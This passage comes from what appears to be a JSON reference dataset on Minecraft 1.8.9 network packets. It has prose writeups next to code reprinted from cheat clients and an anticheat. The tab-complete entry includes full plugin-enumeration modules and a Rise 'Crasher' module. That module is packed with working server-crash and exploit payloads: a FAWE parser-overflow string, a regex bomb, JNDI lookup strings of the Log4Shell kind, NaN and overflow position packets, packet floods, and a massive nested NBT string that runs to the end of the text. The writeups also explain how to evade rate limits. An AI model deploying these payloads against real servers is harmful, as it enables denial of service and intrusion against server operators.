player.getLocation().getBlockZ() + \" \" + \" as \" + ChatColor.RED + \" not responding to critical flight disallow\");\n          }\n        }\n      }, 20);\n    }\n    if (critical) {\n      if (movement.criticalFlyingDisallowStacks++ == 0) {\n        movement.criticalEnterPosX = movement.verifiedLastPositionX;\n        movement.criticalEnterPosY = movement.verifiedLastPositionY;\n        movement.criticalEnterPosZ = movement.verifiedLastPositionZ;\n      }\n    }\n    user.packetTickFeedback(event, () -> {\n      abilityData.setWalkSpeed(walkingSpeed);\n      abilityData.setFlySpeed(flyingSpeed);\n      abilityData.setAllowFlying(allowedFlight);\n      if (critical) {\n        if (movement.criticalFlyingDisallowStacks > 0) {\n          movement.criticalFlyingDisallowStacks--;\n        }\n        movement.criticalFlyingBlockMovementStacks = 0;\n      }\n    });\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {FLYING, PacketId.Client.POSITION, LOOK, POSITION_LOOK}\n  )\n  public void incomingFlyingUpdate(User user, Player player) {\n    MovementMetadata movementData = user.meta().movement();\n    if (movementData.criticalFlyingDisallowStacks > 0 &&\n      !movementData.criticalFlyingDisallowWasTeleported\n    ) {\n      double deltaX = movementData.verifiedLastPositionX - movementData.criticalEnterPosX;\n      double deltaY = movementData.verifiedLastPositionY - movementData.criticalEnterPosY;\n      double deltaZ = movementData.verifiedLastPositionZ - movementData.criticalEnterPosZ;\n      double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ);\n      if (distance > 3 && movementData.criticalTeleportRateLimiter.tryAcquire()) {\n        Modules.mitigate().movement().emulationSetBack(player, Motion.newEmpty(), 3, 2, false);\n        if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n          player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" for \" + ChatColor.RED + \" critical flying disallow protection\");\n        }\n        movementData.criticalFlyingDisallowStacks = 0;\n      }\n    } else if (movementData.criticalFlyingBlockMovementStacks > 0 && movementData.criticalTeleportRateLimiter.tryAcquire()) {\n      Synchronizer.synchronize(() -> {\n        player.teleport(player.getLocation());\n      });\n      if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n        player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" for \" + ChatColor.RED + \" critical flying disallow protection (movement block)\");\n      }\n    }\n  }\n\n  @PacketSubscription(\n    packetsOut = PacketId.Server.POSITION\n  )\n  public void outgoingPositionUpdate(User user) {\n    MovementMetadata movementData = user.meta().movement();\n    movementData.criticalFlyingDisallowWasTeleported = movementData.criticalFlyingDisallowStacks == 1;\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.NORMAL,\n    packetsOut = {\n      GAME_STATE_CHANGE\n    }\n  )\n  public void outgoingGameModeUpdate(\n    User user, GameStateChangeReader reader\n  ) {\n    if (reader.type() != CHANGE_GAME_MODE) {\n      return;\n    }\n    GameMode gameMode = gameModeOf(reader.valueAsInt());\n    AbilityMetadata abilityData = user.meta().abilities();\n    abilityData.setPendingGameMode(gameMode);\n    user.tickFeedback(() -> abilityData.setGameMode(gameMode));\n  }\n\n  private GameMode gameModeOf(int id) {\n    for (GameMode value : GameMode.values()) {\n      if (value.id == id) {\n        return value;\n      }\n    }\n    throw new IllegalStateException(\"Unable to resolve gamemode with id \" + id);\n  }\n\n  public enum GameMode {\n    NOT_SET(-1),\n    SURVIVAL(0),\n    CREATIVE(1),\n    ADVENTURE(2),\n    SPECTATOR(3);\n\n    private final int id;\n\n    GameMode(int id) {\n      this.id = id;\n    }\n\n    public static GameMode fromBukkit(org.bukkit.GameMode gameMode) {\n      switch (gameMode) {\n        case SURVIVAL:\n          return SURVIVAL;\n        case CREATIVE:\n          return CREATIVE;\n        case ADVENTURE:\n          return ADVENTURE;\n        case SPECTATOR:\n          return SPECTATOR;\n        default:\n          throw new IllegalArgumentException(\"Unable to resolve game mode \" + gameMode);\n      }\n    }\n\n    public int id() {\n      return id;\n    }\n  }\n}\n\n// NOTE (AI): Intave is a closed-source anticheat; this file is from the public repository snapshot and is licensed under the PolyForm Perimeter license as stated in its header.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AbilityTracker.java",
       "variations": "Grim confirms the same revocation with a transaction timeout, NCP with the CreativeFly and SurvivalFly envelope, and Hydro with a plain state clone."
      }
     ]
    }
   },
   "wiki_notes": [
    "Flag byte 0x01 invulnerable, 0x02 flying, 0x04 allowFlying, 0x08 creative, then float flySpeed and walkSpeed.",
    "Vanilla sends it when the flying flag flips; 1.8.9 server keeps isFlying AND server allowFlying only.",
    "Other flags and both floats are parsed then discarded, so forged speeds never reach server physics.",
    "MCP 1.8.9 C13PacketPlayerAbilities implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processPlayerAbilities; wire serde is readPacketData/writePacketData via readByte, readFloat.",
    "1.8.9 callers: EntityPlayerSP.sendPlayerAbilities sends new C13PacketPlayerAbilities (line 396): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C13PacketPlayerAbilities/",
   "mcp_path": "net/minecraft/network/play/client/C13PacketPlayerAbilities.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP"
   ]
  },
  {
   "id": "C14PacketTabComplete",
   "hex": "0x14",
   "dec": 20,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Tab Complete",
   "desc": "Player presses Tab in chat to request auto-completion. Sends the partial message or command.",
   "tags": [
    "chat",
    "command",
    "player"
   ],
   "fields": [
    {
     "name": "message",
     "type": "String",
     "desc": "Partial message text being tab-completed"
    },
    {
     "name": "hasTargetBlock",
     "type": "boolean",
     "desc": "Whether the cursor is over a block"
    },
    {
     "name": "targetBlock",
     "type": "BlockPos (optional)",
     "desc": "Block position the cursor is over"
    }
   ],
   "encoding": [
    [
     "Message",
     "String",
     "Partial command/chat string"
    ],
    [
     "Has Position",
     "bool",
     "Whether cursor is over a block"
    ],
    [
     "Target Block",
     "BlockPos (only if pos=true)",
     "Looked-at block position"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processTabComplete()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "The server responds with S3APacketTabComplete containing matching commands/player names. The optional BlockPos allows for block-sensitive completions (e.g., filling /give with block IDs of looked-at block).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C14 requests command and player-name completions: a String (the partial input, with or without the leading slash) and an optional BlockPos for block-sensitive completions. The server replies with S3APacketTabComplete. GuiChat fires it on the tab key; the position is set when the cursor is over a block, which lets /give-style commands complete with looked-at block data."
     },
     {
      "h": "Vanilla handling",
      "p": "processTabComplete calls the server command dispatcher's getTabCompletions with the message and target block, collects the returned strings and replies with S3A. There is no rate limit or throttle in the bundled 1.8.9 handler, which is what makes the packet a free information oracle: every registered command, including plugin-registered ones, is reachable through the completion namespace."
     },
     {
      "h": "Why clients touch it",
      "p": "Three families across the 8 clients. (1) Plugin enumeration: Rise 5.99 Plugins sends '/' and parses S3A, with a Bypass mode that sweeps '/a'..'/z'; Sigma 4.11's PluginFinder command sends '/' once and parses the reply for ':' prefixed plugin names. (2) Crasher: Rise 5.99's FAWE mode sends a deeply nested command string. (3) Chat UX: the Rise 6.x Chat module drives its own completion via C14 with a block position."
     },
     {
      "h": "Exploit surface",
      "p": "The missing throttle is the whole story: a client can dump the full command namespace by sweeping single letters, and servers that hide the plain '/' reply still leak commands through per-letter prefixes. The FAWE crash works because the completion handler parses the input command recursively; a 4-deep loop body of nested for() statements overflows that parser. Anti-cheats ignore C14; anti-exploit plugins rate-limit completions, which is exactly what Plugins' Bypass mode cycles around."
     }
    ],
    "overview": "The tab-complete request packet and the protocol's least-guarded information oracle. Plugin enumeration (Rise 5.99 Plugins, Sigma PluginFinder), a FAWE command-parser crash (Rise 5.99 Crasher) and custom chat completion (Rise 6.x Chat) are the corpus families.",
    "server_handling": "processTabComplete: getTabCompletions(message, targetBlock) then S3APacketTabComplete with the results. No permission pre-check beyond what the dispatcher applies to the requesting player, no rate limit, no length cap beyond the String wire limit. Completions are computed against the live command registry, so plugin commands appear without any /plugins permission.",
    "protocol_notes": "VarInt-length-prefixed String + bool hasTargetBlock + optional BlockPos. The message does not need to start with '/' for the server to run the completion path. Replies are a String array; plugin-registered commands commonly appear as pluginname:command, which is the parsing key for enumeration tools.",
    "anticheat_landscape": "No anti-cheat measures C14. Anti-exploit and anti-spam plugins throttle completion requests per second; the '/a'..'/z' sweep is designed to stay under naive thresholds while still covering the namespace. The FAWE payload is a plugin-specific parser kill and is invisible to movement anti-cheats.",
    "modules": [
     {
      "name": "Plugins",
      "found_in": [
       "Rise 5.99",
       "LiquidSense Dev",
       "November Recode 2.0"
      ],
      "purpose": "Enumerate the server's plugin list through the tab-complete namespace and print it in chat.",
      "how_it_works": "Normal mode sends C14('/') once and parses the S3A reply for completions. Bypass mode sends C14('/' + letter) for every letter of the alphabet to recover commands that servers filter from the plain dump; results are cached and the module disables after the sweep.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Plugins.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\n\nimport java.util.ArrayList;\n\n@ModuleInfo(name = \"Plugins\", description = \"Displays what plugins a server has in chat\", category = Category.OTHER)\npublic final class Plugins extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Normal\", \"Normal\", \"Bypass\");\n\n    private final ArrayList<String> cachedPlugins = new ArrayList<>();\n    private final TimeUtil timer = new TimeUtil();\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        switch (mode.getMode()) {\n            case \"Normal\":\n                if (timer.hasReached(5000L)) {\n                    this.registerNotification(\"Failed to detect any plugins.\");\n                    this.toggleModule();\n                }\n                break;\n\n            case \"Bypass\":\n                if (timer.hasReached(2500L))\n                    this.toggleModule();\n                break;\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S3APacketTabComplete) {\n            switch (mode.getMode()) {\n                case \"Normal\":\n                    for (final String command : ((S3APacketTabComplete) event.getPacket()).func_149630_c()) {\n                        final String[] pluginCommand = command.split(\":\");\n                        if (pluginCommand.length > 1 && !pluginCommand[0].startsWith(\"/minecraft\")) {\n                            final String plugin = pluginCommand[0].replaceAll(\"/\", \"\");\n\n                            if (!cachedPlugins.contains(\"Plugins:\")) {\n                                Rise.addChatMessage(\"Plugins:\");\n                                cachedPlugins.add(\"Plugins:\");\n                            }\n\n                            if (!cachedPlugins.contains(plugin)) {\n                                cachedPlugins.add(plugin);\n                                Rise.addChatMessage(plugin);\n                            }\n                        }\n                    }\n\n                    if (cachedPlugins.isEmpty())\n                        this.registerNotification(\"No plugins found.\");\n\n                    this.toggleModule();\n                    break;\n\n                case \"Bypass\":\n                    for (final String command : ((S3APacketTabComplete) event.getPacket()).func_149630_c()) {\n                        final String[] pluginCommand = command.split(\":\");\n                        if (pluginCommand.length > 1 && !pluginCommand[0].startsWith(\"/minecraft\")) {\n                            final String plugin = pluginCommand[0].replaceAll(\"/\", \"\");\n\n                            if (!cachedPlugins.contains(plugin))\n                                cachedPlugins.add(plugin);\n                        }\n                    }\n                    break;\n            }\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        switch (mode.getMode()) {\n            case \"Normal\":\n                PacketUtil.sendPacket(new C14PacketTabComplete(\"/\"));\n                break;\n\n            case \"Bypass\":\n                final String alphabet = \"abcdefghijklmnopqrstuvwxyz\";\n\n                for (int i = 0; i < alphabet.length(); i++)\n                    PacketUtil.sendPacket(new C14PacketTabComplete(\"/\" + alphabet.charAt(i)));\n                break;\n        }\n        cachedPlugins.clear();\n        timer.reset();\n    }\n\n    @Override\n    protected void onDisable() {\n        if (mode.is(\"Bypass\") && !cachedPlugins.isEmpty()) {\n            Rise.addChatMessage(\"Plugins:\");\n\n            for (final String name : cachedPlugins)\n                Rise.addChatMessage(name);\n        }\n    }\n}\n// NOTE (AI): Plugins enumerates a server's plugin list via tab completion. Normal mode sends C14 with the string '/' and parses the S3APacketTabComplete reply. Bypass mode sends '/a' through '/z' one letter at a time; servers that strip command names from the plain '/' dump still leak them in the per-letter replies, because the completion logic filters by prefix instead of hiding the command set. The module caches results and disables itself after the sweep.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Plugins.java",
      "vanilla_hook": "onEnable (direct PacketUtil.sendPacket), S3APacketTabComplete via PacketReceiveEvent.",
      "anti_cheat_notes": "The per-letter sweep is the anti-throttle trade-off: slow enough to dodge naive rate limits, complete enough to enumerate hidden commands.",
      "variations": "Sigma 4.11 implements the same idea as a one-shot command rather than a module. LiquidSense Dev's Plugins sends a single C14('/') on enable, parses the S3A reply for ':'-prefixed names, prints the sorted plugin list, and auto-disables on a 20-tick timeout. November Recode 2.0's PluginsCommand sends C14('/' + optional custom prefix), parses S3A suggestions with a PLUGIN_REGEX for bare names plus ':'-split names, dedupes into a Set, and aborts on a 10-second timeout."
     },
     {
      "name": "PluginFinder",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Discover plugins with a single '/'-completion and a 20 second listener window.",
      "how_it_works": "The command sends C14('/'), registers an EventPacket listener, parses S3A completions for ':' prefixed names, prints the deduplicated plugin list and unregisters. A 20 second timer aborts the wait.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/management/command/impl/PluginFinder.java =====\npackage info.sigmaclient.management.command.impl;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.event.EventSystem;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.management.command.Command;\nimport info.sigmaclient.util.NetUtil;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\n\n/**\n * Created by Arithmo on 5/7/2017 at 3:12 PM.\n */\npublic class PluginFinder extends Command {\n\n    public PluginFinder(String[] names, String description) {\n        super(names, description);\n    }\n\n    private Timer timer = new Timer();\n\n    @Override\n    public void fire(String[] args) {\n        try {\n            timer.reset();\n            EventSystem.register(this);\n            NetUtil.sendPacket(new C14PacketTabComplete(\"/\"));\n            ChatUtil.printChat(chatPrefix + \"Listening for a S3APacketTabComplete for 20s!\");\n        } catch (Exception ceankoFucksOff) {\n            ceankoFucksOff.printStackTrace();\n        }\n    }\n\n    @RegisterEvent(events = {EventPacket.class})\n    public void onEvent(Event event) {\n        try {\n            EventPacket ep = (EventPacket) event;\n            if (ep.getPacket() instanceof S3APacketTabComplete) {\n                S3APacketTabComplete packet = (S3APacketTabComplete) ep.getPacket();\n                String[] commands = packet.func_149630_c();\n                String message = \"\";\n                int size = 0;\n\n                for (String command : commands) {\n                    String pluginName = command.split(\":\")[0].substring(1);\n\n                    if (!message.contains(pluginName) && command.contains(\":\") && !pluginName.equalsIgnoreCase(\"minecraft\") && !pluginName.equalsIgnoreCase(\"bukkit\")) {\n                        size++;\n                        if (message.isEmpty()) {\n                            message += pluginName;\n                        } else {\n                            message += \"\\2478, \\247a\" + pluginName;\n                        }\n                    }\n                }\n\n                if (!message.isEmpty()) {\n                    ChatUtil.printChat(chatPrefix + \"\\2477Plugins (\\247f\" + size + \"\\2477): \\247a \" + message + \"\\2477.\");\n                } else {\n                    ChatUtil.printChat(chatPrefix + \"Plugins: none.\");\n                }\n                EventSystem.unregister(this);\n                event.setCancelled(true);\n            }\n\n            if (timer.delay(20000)) {\n                EventSystem.unregister(this);\n                ChatUtil.printChat(chatPrefix + \"Stopped listening for an S3APacketTabComplete! Took to long (20s)!\");\n            }\n        } catch (Exception ceankoFucksOff) {\n            ceankoFucksOff.printStackTrace();\n        }\n    }\n\n    @Override\n    public String getUsage() {\n        return \"pluginfinder\";\n    }\n\n}\n// NOTE (AI): PluginFinder is a chat command, not a module. fire() resets a 20 second timer, registers an event listener and sends one C14 with '/'. The listener watches EventPacket for S3APacketTabComplete, splits each completion on ':' and prints the plugin prefix, skipping minecraft and bukkit. It unregisters after the first reply or the 20 second timeout.",
      "code_source": "Sigma 4.11, info/sigmaclient/management/command/impl/PluginFinder.java",
      "vanilla_hook": "EventPacket (register/unregister pattern), NetUtil.sendPacket.",
      "anti_cheat_notes": "One packet per invocation makes it effectively undetectable by rate-based guards; it trades completeness for stealth compared to Rise's alphabet sweep.",
      "variations": "Rise 5.99 Plugins covers the same ground as a module with a Bypass mode; no other client has a C14 plugin finder."
     },
     {
      "name": "Crasher (FAWE)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Crash FastAsyncWorldEdit by completing a pathologically nested command string.",
      "how_it_works": "FAWE mode sends C14 with the nested '/to for(i=0;i<256;i++){...}' string every tick via sendPacketWithoutEvent.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Crasher.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.nbt.NBTTagCompound;\nimport net.minecraft.nbt.NBTTagList;\nimport net.minecraft.nbt.NBTTagString;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.IChatComponent;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.RandomUtils;\n\n@ModuleInfo(name = \"Crasher\", description = \"Crashes some servers\", category = Category.OTHER)\npublic final class Crasher extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Pex\", \"Pex\", \"Multiverse\", \"FAWE\", \"Log4J\", \"Invalid Move\", \"Rotation\", \"Sign\", \"Book\", \"Chunk\", \"NaN\", \"Fly\", \"Click\", \"Block Click\", \"Window\", \"BEdit\", \"Mare\", \"Interact\", \"One Packet\", \"AAC5\");\n    private final NumberSetting packets = new NumberSetting(\"Packets\", this, 10, 1, 100, 1);\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        packets.hidden = !(mode.is(\"Mare\") || mode.is(\"Interact\"));\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isIntegratedServerRunning() || PlayerUtil.isOnServer(\"127.0.0.1\") || PlayerUtil.isOnServer(\"localhost\"))\n            return;\n\n        if (mc.thePlayer.ticksExisted < 5) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n            return;\n        }\n\n        switch (mode.getMode()) {\n            case \"Pex\": {\n                if (mc.thePlayer.ticksExisted % 20 == 0) {\n                    mc.thePlayer.sendChatMessage(\"/pex promote a a\");\n                    mc.thePlayer.sendChatMessage(\"/pex promote b b\");\n                }\n                break;\n            }\n\n            case \"Multiverse\": {\n                if (mc.thePlayer.ticksExisted % 20 == 0)\n                    mc.thePlayer.sendChatMessage(\"/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^\");\n                break;\n            }\n\n            case \"FAWE\": {\n                PacketUtil.sendPacketWithoutEvent(new C14PacketTabComplete(\"/to for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}\"));\n                break;\n            }\n\n            case \"Log4J\": {\n                mc.thePlayer.sendChatMessage(\"/ ${jndi:rmi://localhost:3000}\");\n\n                this.toggleModule();\n                this.registerNotification(\"Attempted to crash the server.\");\n                break;\n            }\n\n            case \"Invalid Move\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(Double.MAX_VALUE, Double.MAX_VALUE, Double.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, event.isGround()));\n                break;\n            }\n\n            case \"Rotation\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C05PacketPlayerLook(9.223372E18F, 9.223372E18F, event.isGround()));\n                break;\n            }\n\n            case \"Sign\": {\n                final IChatComponent[] text = new IChatComponent[]{new ChatComponentText(\"${jndi:rmi://localhost:3000}\")};\n                PacketUtil.sendPacket(new C12PacketUpdateSign(BlockPos.ORIGIN, text));\n                break;\n            }\n\n            case \"Book\": {\n                final NBTTagCompound comp = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                list.appendTag(new NBTTagString(\"${jndi:rmi://localhost:3000}\"));\n\n                comp.setString(\"author\", \"${jndi:rmi://localhost:3000}\");\n                comp.setString(\"title\", \"${jndi:rmi://localhost:3000}\");\n                comp.setByte(\"resolved\", (byte) 1);\n                comp.setTag(\"pages\", list);\n                final ItemStack stack = new ItemStack(Items.writable_book);\n                stack.setTagCompound(comp);\n                final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                buffer.writeItemStackToBuffer(stack);\n                PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, stack, (short) 0));\n                break;\n            }\n\n            case \"Chunk\": {\n                double x = mc.thePlayer.posX, y = mc.thePlayer.posY, z = mc.thePlayer.posZ;\n\n                for (int i = 0; i < 32000; i++)\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(x++, y >= 255 ? 255 : y++, z++, true));\n                break;\n            }\n\n            case \"NaN\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(Double.NaN, Double.NaN, Double.NaN, Float.NaN, Float.NaN, event.isGround()));\n                break;\n            }\n\n            case \"Fly\": {\n                double y = 0, z;\n                int i;\n\n                for (i = 0; i < 200; i++) {\n                    y = i * 9;\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + y, mc.thePlayer.posZ, false));\n                }\n\n                for (i = 0; i < 10000; i++) {\n                    z = i * 9;\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + y, mc.thePlayer.posZ + z, false));\n                }\n                break;\n            }\n\n            case \"Block Click\": {\n                PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, new ItemStack(Blocks.piston_head), (short) 0));\n                break;\n            }\n\n            case \"Click\": {\n                for (int c = 0; c < 30; c++) {\n                    final NBTTagCompound comp = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n\n                    for (int i = 0; i < 2; i++) {\n                        list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra: